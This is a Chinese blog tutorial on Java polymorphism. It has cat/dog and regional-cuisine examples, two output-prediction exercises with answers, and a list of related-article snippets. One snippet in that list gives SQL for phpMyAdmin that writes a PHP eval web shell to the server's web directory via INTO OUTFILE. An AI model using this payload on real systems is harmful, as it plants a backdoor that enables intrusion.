java8-4 多态的练习以及题目

1、
/*
多态练习:猫狗案例
*/

 1 class Animal {
 2 public void eat(){
 3 System.out.println("吃饭");
 4 }
 5 }
 6 
 7 class Dog extends Animal {
 8 public void eat() {
 9 System.out.println("狗吃肉");
10 }
11 
12 public void lookDoor() {
13 System.out.println("狗看门");
14 }
15 }
16 
17 class Cat extends Animal {
18 public void eat() {
19 System.out.println("猫吃鱼");
20 }
21 
22 public void playGame() {
23 System.out.println("猫捉迷藏");
24 }
25 }
26 
27 class DuoTaiTest {
28 public static void main(String[] args) {
29 //定义为狗
30 Animal a = new Dog();
31 a.eat();
32 System.out.println("--------------");
33 //还原成狗
34 Dog d = (Dog)a;
35 d.eat();
36 d.lookDoor();
37 System.out.println("--------------");
38 //变成猫
39 a = new Cat();
40 a.eat();
41 System.out.println("--------------");
42 //还原成猫
43 Cat c = (Cat)a;
44 c.eat();
45 c.playGame();
46 System.out.println("--------------");
47 
48 //演示错误的内容
49 //Dog dd = new Animal();
50 //Dog ddd = new Cat();
51 //ClassCastException
52 //Dog dd = (Dog)a;
53 }
54 }

 

2、不同地方饮食文化不同的案例

 1 class Person {
 2 public void eat() {
 3 System.out.println("吃饭");
 4 }
 5 }
 6 
 7 class SouthPerson extends Person {
 8 public void eat() {
 9 System.out.println("炒菜,吃米饭");
10 }
11 
12 public void jingShang() {
13 System.out.println("经商");
14 }
15 }
16 
17 class NorthPerson extends Person {
18 public void eat() {
19 System.out.println("炖菜,吃馒头");
20 }
21 
22 public void yanJiu() {
23 System.out.println("研究");
24 }
25 }
26 
27 class DuoTaiTest2 {
28 public static void main(String[] args) {
29 //测试
30 //南方人
31 Person p = new SouthPerson();
32 p.eat();
33 System.out.println("-------------");
34 SouthPerson sp = (SouthPerson)p;
35 sp.eat();
36 sp.jingShang();
37 System.out.println("-------------");
38 
39 //北方人
40 p = new NorthPerson();
41 p.eat();
42 System.out.println("-------------");
43 NorthPerson np = (NorthPerson)p;
44 np.eat();
45 np.yanJiu();
46 }
47 }

 

题目:

1、看程序写结果:先判断有没有问题,如果没有,写出结果

 1 class Fu {
 2 public void show() {
 3 System.out.println("fu show");
 4 }
 5 }
 6 
 7 class Zi extends Fu {
 8 public void show() {
 9 System.out.println("zi show");
10 }
11 
12 public void method() {
13 System.out.println("zi method");
14 }
15 }
16 
17 class DuoTaiTest3 {
18 public static void main(String[] args) {
19 Fu f = new Zi();
20 f.method();
21 f.show();
22 }
23 } 

答案是:  出错,f.method()这里出错,父类没有这个方法

2、看程序写结果:先判断有没有问题,如果没有,写出结果

 1 class A {
 2 public void show() {
 3 show2();
 4 }
 5 public void show2() {
 6 System.out.println("我");
 7 }
 8 }
 9 class B extends A {
10 public void show2() {
11 System.out.println("爱");
12 }
13 }
14 class C extends B {
15 public void show() {
16 super.show();
17 }
18 public void show2() {
19 System.out.println("你");
20 }
21 }
22 public class DuoTaiTest4 {
23 public static void main(String[] args) {
24 A a = new B();
25 a.show();
26 
27 B b = new C();
28 b.show();
29 }
30 }

 

//答案是 爱你 。
public void show() {
show2();
}   默认在B类的show2前面

多态的成员访问特点:
方法:编译看左边,运行看右边。

继承的时候:
子类中有和父类中一样的方法,叫重写。
子类中没有父亲中出现过的方法,方法就被继承过来了。


转载于:https://www.cnblogs.com/LZL-student/p/5858811.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/373920.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一个简单的socket通信小demo

写了一个socket的程序,可以和本地的服务器进行通信,要先和服务器建立链接,然后发送登录信息,验证成功,就可以和服务器通信了 1 页面截图 2 点击链接服务器,可以链接服务器,服务器的ip地址为&…

Java并发教程– CountDownLatch

Java中的某些并发实用程序自然会比其他并发实用程序受到更多关注,因为它们可以解决通用问题而不是更具体的问题。 我们大多数人经常遇到执行程序服务和并发集合之类的事情。 其他实用程序不太常见,因此有时它们可​​能会使我们逃脱,但是请记…

汉仪尚巍手书可以商用吗_【商用车维修】夏天修空调可以撑起全年修车收入的一半,你会了吗?...

更多精彩,请点击上方蓝字关注我们!车载空调是炎热的季节必不可少的利器,但用得多,毛病也多了起来,今天和大家分享一些空调系统的相关知识,助力修车师傅们来应对空调系统的相关故障问题。如何判断制冷系统的…

CSDN编程挑战——《-3+1》

-31 题目详情: 有一个数列,所有的数都是非负整数,你可以进行如下方式进行一次操作(注意一次完整的操作必须先后完成如下两个步骤): (1) 任选一个不小于3的数,把它减少3。 &#xff…

游戏感悟

1.所谓游戏平衡,就是指玩家没有最优解。 2.所谓公司的文化,就是指员工被公司洗脑的那些观点(认知)。 3.人是能动的,摆脱平庸。转载于:https://www.cnblogs.com/yangzhou33/p/5074509.html

Git 简单使用

1.Git是什么 简介:Git是 Linux 之父 Linus Trovalds,为管理 Linux 内核代码而建立的,被认为是分布式版本控制工具中的顶级水准。智能、友好、强健、高效。 作用:新建一个分支,把服务器上最新版的代码fetch下来&#x…

Vaadin附加组件和Maven

介绍 我喜欢Vaadin的 (众多)一件事是它对Vaadin框架的“附加组件”社区-他们称之为Vaadin目录 。 “附加组件”是框架中社区贡献的附加组件,可以是任何东西,例如从新的客户端小部件到数据表的延迟加载容器。 我肯定会为Activiti看…

八皇后时间复杂度_【算法打卡】N皇后

难度:困难题目:n 皇后问题研究的是如何将 n 个皇后放置在 nn 的棋盘上,并且使皇后彼此之间不能相互攻击。上图为 8 皇后问题的一种解法。给定一个整数 n,返回 n 皇后不同的解决方案的数量。提示:皇后,是国际…

Android-Binder 简析

前言 对于Android来说,Binder的重要性怎么说都不为过。不管是我们的四大组件Activity、Service、BroadcastReceiver、ContentProvider,还是经常在应用中使用到的各种ServiceManager,其背后都是Binder在支撑。然而Binder机制又不是三言两语能够…

CSDN编程挑战——《进制转换》

进制转换 题目详情: 我们通常用的十进制数包含0-9十个数字。假设有一种进制系统包含3种数字,从低到高分别为"oF8”,那么从1到9分别表示为F, 8, Fo, FF, F8, 8o, 8F, 88, Foo, FoF。给定一种进制的数和两种进制的数字表,请把它从第一种进…

tplink 703刷固件

1.软件下载: ImageBuilder链接 如果是全新刷机的话,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin 如果是系统升级的话,使用:http://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/op…

编程反模式

您是否曾经进行过代码审查,记录了非常高的WTF / m? 您是否想知道所有这些错误代码的原因是什么? 在大多数情况下,导致原因1的主要原因是使用设计和编码反模式。 如果您喜欢定义,请参见以下内容:AntiPatter…

python概率密度函数参数估计_EM算法求高斯混合模型参数估计——Python实现

#coding:gbkimport mathimport copyimport numpy as npimport matplotlib.pyplot as pltisdebug False# 指定k个高斯分布参数,这里指定k2。注意2个高斯分布具有相同均方差Sigma,分别为Mu1,Mu2。def ini_data(Sigma,Mu1,Mu2,k,N):global Xglobal Mugloba…

phpmyadmin 各种技巧拿 webshell

site.com/phpMyAdminsite.com/sqlD:\wamp\www账号还有密码root 密码第一种CREATE TABLE mysql.darkmoon (darkmoon1 TEXT NOT NULL );INSERT INTO mysql.darkmoon (darkmoon1 ) VALUES (<?php eval($_POST[pass]);?>);SELECT darkmoon1 FROM darkmoon INTO OUTFILE d:/…

Finally语句块的执行

一、finally语句块是否一定执行&#xff1f; Java中异常捕获机制try...catch...finally块中的finally语句是不是一定会被执行&#xff1f;很多人都说不是&#xff0c;当然他们的回答是正确的&#xff0c;经过试验&#xff0c;至少以下有两种情况下finally语句是不会被执行的&am…

面向对象 封装 集成 特性

访问修饰符&#xff1a;pubulc:公共的&#xff0c;只要引用了命名空间&#xff0c;就可以随意进行访问 private:私有的&#xff0c;只有当前类内部才可以访问 internal&#xff1a;内部的&#xff0c;当前程序集内可以访问&#xff0c;程序集就是命名空间&#xff0c;此修饰符是…

sql 插入text字段包含特殊字符_Kettle(PDI)转换中输出之插入/更新详解

概述Insert / update(插入 / 更新)此步骤首先使用一个或多个查询关键字查找表中的一行。如果找不到该行&#xff0c;则插入该行。如果可以找到它&#xff0c;并且要更新的字段相同&#xff0c;则不执行任何操作。如果它们不完全相同&#xff0c;则更新表中的行。注意&#xff1…

使用Java发送电子邮件

我开始使用Java作为简单的“如何发送电子邮件”来撰写这篇文章&#xff0c;但是后来我发现我需要简要解释更多事情。 因此&#xff0c;这是有关使用Java发送电子邮件的所有摘要。 在Java SE平台之外&#xff08;但包含在JavaEE中&#xff09;&#xff0c; JavaMail软件包提供了…

一张图让你看清Java集合类(Java集合类的总结)

如今关于Java集合类的文章非常多&#xff0c;可是我近期看到一个非常有意思图片&#xff0c;基本上把Java集合的整体框架都给展现出来了。非常直观。 假设发现图片看不清楚。点此处看大图 在这里&#xff0c;集合类分为了Map和Collection两个大的类别。 处于图片左上角的那一块…

CSDN挑战编程——《数学问题》

数学问题 题目详情: 给你两个长度为n的正整数序列分别为{a1,a2,a3...an},{b1,b2,b3...bn},0<ai,bi<100&#xff1b; 设Smax{x1*a1x2*a2x3*a3...xn*an,(1-x1)*b1(1-x2)*b2(1-x3)*b3...(1-xn)*bn}&#xff0c;xi为整数&#xff0c;0<xi<1。 请你求出S的最小值。 输入…